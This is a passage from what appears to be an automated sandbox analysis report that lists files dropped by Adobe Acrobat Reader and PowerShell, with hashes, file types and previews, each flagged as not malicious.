Preview:	{"analyticsData":{"responseGUID":"a49c90a7-5c96-423a-a176-07203d6dccd0","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736757900854,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.260932834259107
Encrypted:	false
SSDEEP:	6:YEQXJ2HXdgAVltVmnZiQ0YFoAvJf+dPeUkwRe9:YvXKXHVxmctG28Ukee9
MD5:	23CD2786F983BD04D907EF33DBDA6480
SHA1:	284C72EAAD5F3AF9EAA84A76A7201F05AF55834C
SHA-256:	2347715D3E91F898E0FA312F767FDF16B577F9A99001E23AA7A35813AB98FCAF
SHA-512:	753B101A3DB330E0506BD2E57D73AAA213D07F9BCB445A55593E0B8EBB4228536CC46233668DB22E8BBF59CE2618A07681E1FBEF840A34C6233579F9B2049594
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"a49c90a7-5c96-423a-a176-07203d6dccd0","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736757900854,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.259343820296798
Encrypted:	false
SSDEEP:	6:YEQXJ2HXdgAVltVmnZiQ0YFoAvJfbPtdPeUkwRe9:YvXKXHVxmctGDV8Ukee9
MD5:	F9F1B7B7B2AA215CC5F8FF320390D774
SHA1:	1A1A1B83541AC15958A3E011EA7B201C10074F92
SHA-256:	7213F19C2892C37237E328F09FA7405EA76762FCFCB09D6A69A26188CF798657
SHA-512:	C04A483533A8ACEF3D0472EB1BA70D9DDBFBCEDD83C40A07090C603172E722353555F72C52041B2B39693936A5BB3ED642F91D963E54C22B28D407D907D31693
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"a49c90a7-5c96-423a-a176-07203d6dccd0","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736757900854,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.2629630894560275
Encrypted:	false
SSDEEP:	6:YEQXJ2HXdgAVltVmnZiQ0YFoAvJf21rPeUkwRe9:YvXKXHVxmctG+16Ukee9
MD5:	5D999E4364BB0720F37B2AA3A0C6F9BA
SHA1:	3DBDD70B06AB7AC7F80316373957486911F977C9
SHA-256:	5392AC5A1F1852ECA744A58E5AC6222ED11B7F97572D7ADEF5CCD9767B88743A
SHA-512:	C23086508140318F490D345723330DE2D6D171066FC34182B1B011C047BDDD7C002F7EDF99AAD2DDDE768A6665526FC3D74D52289F653562236252F22AD8E28D
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"a49c90a7-5c96-423a-a176-07203d6dccd0","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736757900854,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.6609601868581745
Encrypted:	false
SSDEEP:	24:Yv6XDbOamXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BSxpY:Yv3BgkDMUJUAh8cvMXY
MD5:	9925D91969332B0C7E34CC995C108F27
SHA1:	6251E80E4F5EAB594F51243C661DCB143D730503
SHA-256:	A6999A849ACA3C9C00236C00FB21FA11ECF7422F4B21858787596E69D978F463
SHA-512:	533FFC618D6C0E43F0BEF17112AA23E86CD643E14A7628E289A9EAA98D6818916C8F9413ACEA4FF8CF21779C5C14EDED037466FA8BFBA2B20021BE2D4212044B
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"a49c90a7-5c96-423a-a176-07203d6dccd0","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736757900854,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.237756437214579
Encrypted:	false
SSDEEP:	6:YEQXJ2HXdgAVltVmnZiQ0YFoAvJfshHHrPeUkwRe9:YvXKXHVxmctGUUUkee9
MD5:	8E4273886A356B51969ADBECF3A7EB24
SHA1:	A099AE0F3933FC571FA1573FEA84A22E11CF9E97
SHA-256:	2C410591EDD59A426CA09496255E2A3FD9422141DFCB2F0B37DD5E8D920C36E2
SHA-512:	43ED4A370C4BB9DF7C6AD94F978C93B056598F6A21952DCE6B602AE43555D10CCD0745AA0ED5282E100F5BDC15A58A967F3BC7C0B2B3102CB4FDE136D8EF59F1
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"a49c90a7-5c96-423a-a176-07203d6dccd0","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736757900854,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.241621452577313
Encrypted:	false
SSDEEP:	6:YEQXJ2HXdgAVltVmnZiQ0YFoAvJTqgFCrPeUkwRe9:YvXKXHVxmctGTq16Ukee9
MD5:	7BBD58832F132303BFFF40E0357F2880
SHA1:	BA1970542A79C4ACBB6F56BF9AABB3DA6BE82A49
SHA-256:	7BF9CB57327BAC0480DD313D1A82F8271D7F20C5977A4C886368D5294233BADF
SHA-512:	5B5BF9A05AD3C523358E5AD0A5A6DD2F1BE3086B2C4313BB43C1C9D5534A989A1570884606F943EDE19CB658C0CE76DCDAA19E2B12E7B8A1BC6862555B7C1042
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"a49c90a7-5c96-423a-a176-07203d6dccd0","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736757900854,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.131751877759265
Encrypted:	false
SSDEEP:	24:YIDGapayewDXvmr6WJlBK6OUkuBBDYozDBzL2yPjCscj0SQfmS/C2W2LSQRCr37Q:YxTiCCoxpCxbJbeK3N6dpVP9d6Eb
MD5:	2B3E71E59132347EC0DDFDDB7C99EB2C
SHA1:	17986755676FAAFDB42DB300580902915550D11F
SHA-256:	E3BC19494ACA8379B42FE860A60717547DE9F824BD389EA4206D2F0CEEDB2F3D
SHA-512:	B86843A80D709A433F84A55EC05F8ED3C19D30D56DE5B6CB2B2142A684CE078534F281C770285729CA9E9279BC9D1E2E3E63E52D13D647D847136A345D1B47B6
Malicious:	false
Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"0878da12279be7ba8396e85279bd3e60","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1736578080000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"713ff6ba05fcf9d5bf0d4d1b8a605d5b","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1090,"ts":1736578080000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"81a6847f5249925148636a0fd32513d3","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1123,"ts":1736578080000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"4eec7617c69e78007c0351c353cbd48d","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1736578080000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"9368b0658b1427894b19651c958a0710","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file","size":292,"ts":1736578080000},{"id":"DC_Reader_More_LHP_Banner","info":{"dg":"7c6875a9e23583e10d4a591744ac1f15","sid":"DC_Reader_More_LHP_Banner"},"mimeType":"file","

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 24, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 24
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	1.1473410706927
Encrypted:	false
SSDEEP:	24:TLhx/XYKQvGJF7ursChRZXcMRZXcMZgux3Fmu3n9u1oGuDyIX4uDyvuOudIUudcp:TFl2GL7msCNXc+XcGNFlRYIX2v3kxz
MD5:	A0B64EB4E7C9FCDDF63D8439092C2308
SHA1:	5A9285DBE32BFC0A0AE5A9EF776B8CFF9E70B874
SHA-256:	354A2B3A8905077CEE1FA770758CB6EDC4E4563811015A6B7F67FC653CCB87E6
SHA-512:	DA6F7B9072039E78B71F310A9B314B5534959D22AF91C202A5926805DC2EB6C829C073512BF6FA671CE73A06C95D61AAB45F2889BACF1D2BE8045787E0324F4C
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.552812366213925
Encrypted:	false
SSDEEP:	24:7+tzhUXcMRZXcMZgux3Fmu3n9u1oGuDyIX4uDyvuOudIUudcHRuLuxbqLxx/XYKZ:7MzyXc+XcGNFlRYIX2vuqVl2GL7ms6m
MD5:	E5DEC1C2F8A281F2AF98FBAE07CB64DB
SHA1:	26BC42BF0DB9168BD318360DE9172F39138CE453
SHA-256:	B0A6BB8F2EB065C094DE29A1B509E2D37FAB078337855F5BB491253690CC9BED
SHA-512:	A0B41D41C9D26A13770078E553F5D1B1CFB11CF1AA73D74BEB93207B5523B311DB935792F8B531DA6FC3238A85A6A9C00F08519B98FA258C5A3524B9772C316E
Malicious:	false
Preview:	.... .c........_..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................b..b.b.b.b.b.b.b.b.b.b.b.b.b..................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEgvZegFmd/j1hVndKY+uvaGp2Yyu:6a6TZ44ADEvZhFmhZhVXMK
MD5:	875F528EAADAF455560D195FEB3D27F0
SHA1:	C68DD6C735C37844BD53E88E9ED5A53E7850351B
SHA-256:	A504633B051BD82730D795D5988B4A1CC5AE293063DAB1A731E6D4EE3FFAEA88
SHA-512:	6462F92ACF569B36AA5D4D92CEAD1259FF7B38D1281DEC79F601707F4EFA647DF2A754CE3CFC04C453EE33C0FA2890A4733791F43C5A9491723BD66E447E1C04
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:NlllulJnp/p:NllU
MD5:	BC6DB77EB243BF62DC31267706650173
SHA1:	9E42FEFC2E92DE0DB2A2C9911C866320E41B30FF
SHA-256:	5B000939E436B6D314E3262887D8DB6E489A0DDF1E10E5D3D80F55AA25C9FC27
SHA-512:	91DC4935874ECA2A4C8DE303D83081FE945C590208BB844324D1E0C88068495E30AAE2321B3BA8A762BA08DAAEB75D9931522A47C5317766C27E6CE7D04BEEA9
Malicious:	false
Preview:	@...e.................................X..............@..........

C:\Users\user\AppData\Local\Temp\MSIc469c.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.499838153709141
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K88Cl8+NH:Qw946cPbiOxDlbYnuRKds
MD5:	6597326BA4E817BDAD2D32CDE93AE04A
SHA1:	D5D04584A69F7B2DC6D995BB845D683B60B0453E
SHA-256:	0AE03CFD12FEE09E2C5CEA460AE2052E1D5D48D93F677AF0C49CD8485D988DDC
SHA-512:	64F6C60A3BE5B70E3427C9E3D81755656B9D8DD8211D0F4395DF0A3DE4A184B203369FDB5034CFF2B891D3EB2363B23E767E6CDA75013F5EF4EDDB3E1775BE5B
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.1./.0.1./.2.0.2.5. . .0.1.:.4.8.:.0.1. .=.=.=.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_htxtycmh.0rb.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ic4ji2ni.bxl.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-11 01-47-54-428.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.338264912747007
Encrypted:	false
SSDEEP:	384:lH4ZASLaTgKoBKkrNdOZTfUY9/B6u6AJ8dbBNrSVNspYiz5LkiTjgjQLhDydAY8s:kIb
MD5:	128A51060103D95314048C2F32A15C66
SHA1:	EEB64761BE485729CD12BF4FBF7F2A68BA1AD7DB
SHA-256:	601388D70DFB723E560FEA6AE08E5FEE8C1A980DF7DF9B6C10E1EC39705D4713
SHA-512:	55099B6F65D6EF41BC0C077BF810A13BA338C503974B4A5F2AA8EB286E1FCF49DF96318B1DA691296FB71AA8F2A2EA1406C4E86F219B40FB837F2E0BF208E677
Malicious:	false
Preview:	SessionID=e060408f-9833-415c-bd59-cc59ace6b516.1696488385066 Timestamp=2023-10-05T08:46:25:066+0200 ThreadID=6912 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=e060408f-9833-415c-bd59-cc59ace6b516.1696488385066 Timestamp=2023-10-05T08:46:25:066+0200 ThreadID=6912 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=e060408f-9833-415c-bd59-cc59ace6b516.1696488385066 Timestamp=2023-10-05T08:46:25:067+0200 ThreadID=6912 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=e060408f-9833-415c-bd59-cc59ace6b516.1696488385066 Timestamp=2023-10-05T08:46:25:067+0200 ThreadID=6912 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=e060408f-9833-415c-bd59-cc59ace6b516.1696488385066 Timestamp=2023-10-05T08:46:25:067+0200 ThreadID=6912 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15114
Entropy (8bit):	5.304996889760703
Encrypted:	false
SSDEEP:	384:JzNl6wXHc/ysbTXBgVzxAEnbGi13T6wgpFu/l7TFa0bRbMaCaka7aRa5aCaX2a3s:FmYYzLkce3pmjmze24+
MD5:	CCF234BAC5D993579A078938EDB8A7AB
SHA1:	2CFC5B95A6B0FDD9D7397B6CD45A51C74B6174B3
SHA-256:	FBC490B12729BEB7D873D042D1B64FD314DC6F23B62767CE1E9B653D6987987B
SHA-512:	8AD0A09B67DF0441B423FFF846BA12A3DB6D80CD3F90F44DC7A46C5A8101A375344E6CD79676B65E8089EE396D97BA970979535613F2E0BD5F930E9D63E964A0
Malicious:	false
Preview:	SessionID=aee337f8-7019-4e0e-9ed3-080581e48d5f.1736578074442 Timestamp=2025-01-11T01:47:54:442-0500 ThreadID=7412 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=aee337f8-7019-4e0e-9ed3-080581e48d5f.1736578074442 Timestamp=2025-01-11T01:47:54:445-0500 ThreadID=7412 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=aee337f8-7019-4e0e-9ed3-080581e48d5f.1736578074442 Timestamp=2025-01-11T01:47:54:445-0500 ThreadID=7412 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=aee337f8-7019-4e0e-9ed3-080581e48d5f.1736578074442 Timestamp=2025-01-11T01:47:54:446-0500 ThreadID=7412 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=aee337f8-7019-4e0e-9ed3-080581e48d5f.1736578074442 Timestamp=2025-01-11T01:47:54:446-0500 ThreadID=7412 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	29752
Entropy (8bit):	5.400372611675394
Encrypted:	false
SSDEEP:	192:acb4I3dcbPcbaIO4cbYcbqnIdjcb6acbaIewcb2cbGxBIgt/Acbp:V3fOCIdJDeQxOgt/v
MD5:	C46C21642C7B5B1F32CF222AC87E6C57
SHA1:	7543FBE3AAF1D2135184A0EAEE4CDECE25A35F96
SHA-256:	D4F15CD558C4EFD8548E9DA59C7831AA610327589AEFD1CE2601FBBCD51CC521
SHA-512:	67B5C0F84F7917615D3B42C7469D672E4D3A374EAFF307BA9E9DF56BD100146440F8763BD772A83F8E4952944C724ABC3586F1CCAD3CC9D187180A1B6CF85B12
Malicious:	false
Preview:	05-10-2023 08:20:22:.---2---..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : *************************************..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : ***********************************..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : Starting NGL..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..05-10-2023 08:20:22:.Closing File..05-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\15234411-4b00-4b4a-a2b3-39f83921f0de.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 33081
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:/xA7o5dpy6mlind9j2kvhsfFXpAXDgrFBU2/R07/WLcGZtwYIGNPJe:JVB3mlind9i4ufFXpAXkrfUs0jWLcGZa
MD5:	22B260CB8C51C0D68C6550E4B061E25A
SHA1:	DF9A5999C58A8D5ADBB3F8D1111EAB9E4778637E
SHA-256:	DAB1231CC22DAB591EBB91C853E3EE41C10D3DA85D2EFAB67E9A52CCB3A3A5A0
SHA-512:	503218D83C511A7F7CEA8BC171921D1435664B964F01A8C77DC0F4D0196DD2815D9444DA98278E1369552D004E9B091DD9B89663209F0C52ACB97FCE6AFFE7A9
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\3cfb289a-841f-4609-8287-4c6b9dfbb836.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
MD5:	3A49135134665364308390AC398006F1
SHA1:	28EF4CE5690BF8A9E048AF7D30688120DAC6F126
SHA-256:	D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
SHA-512:	BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
Malicious:	false
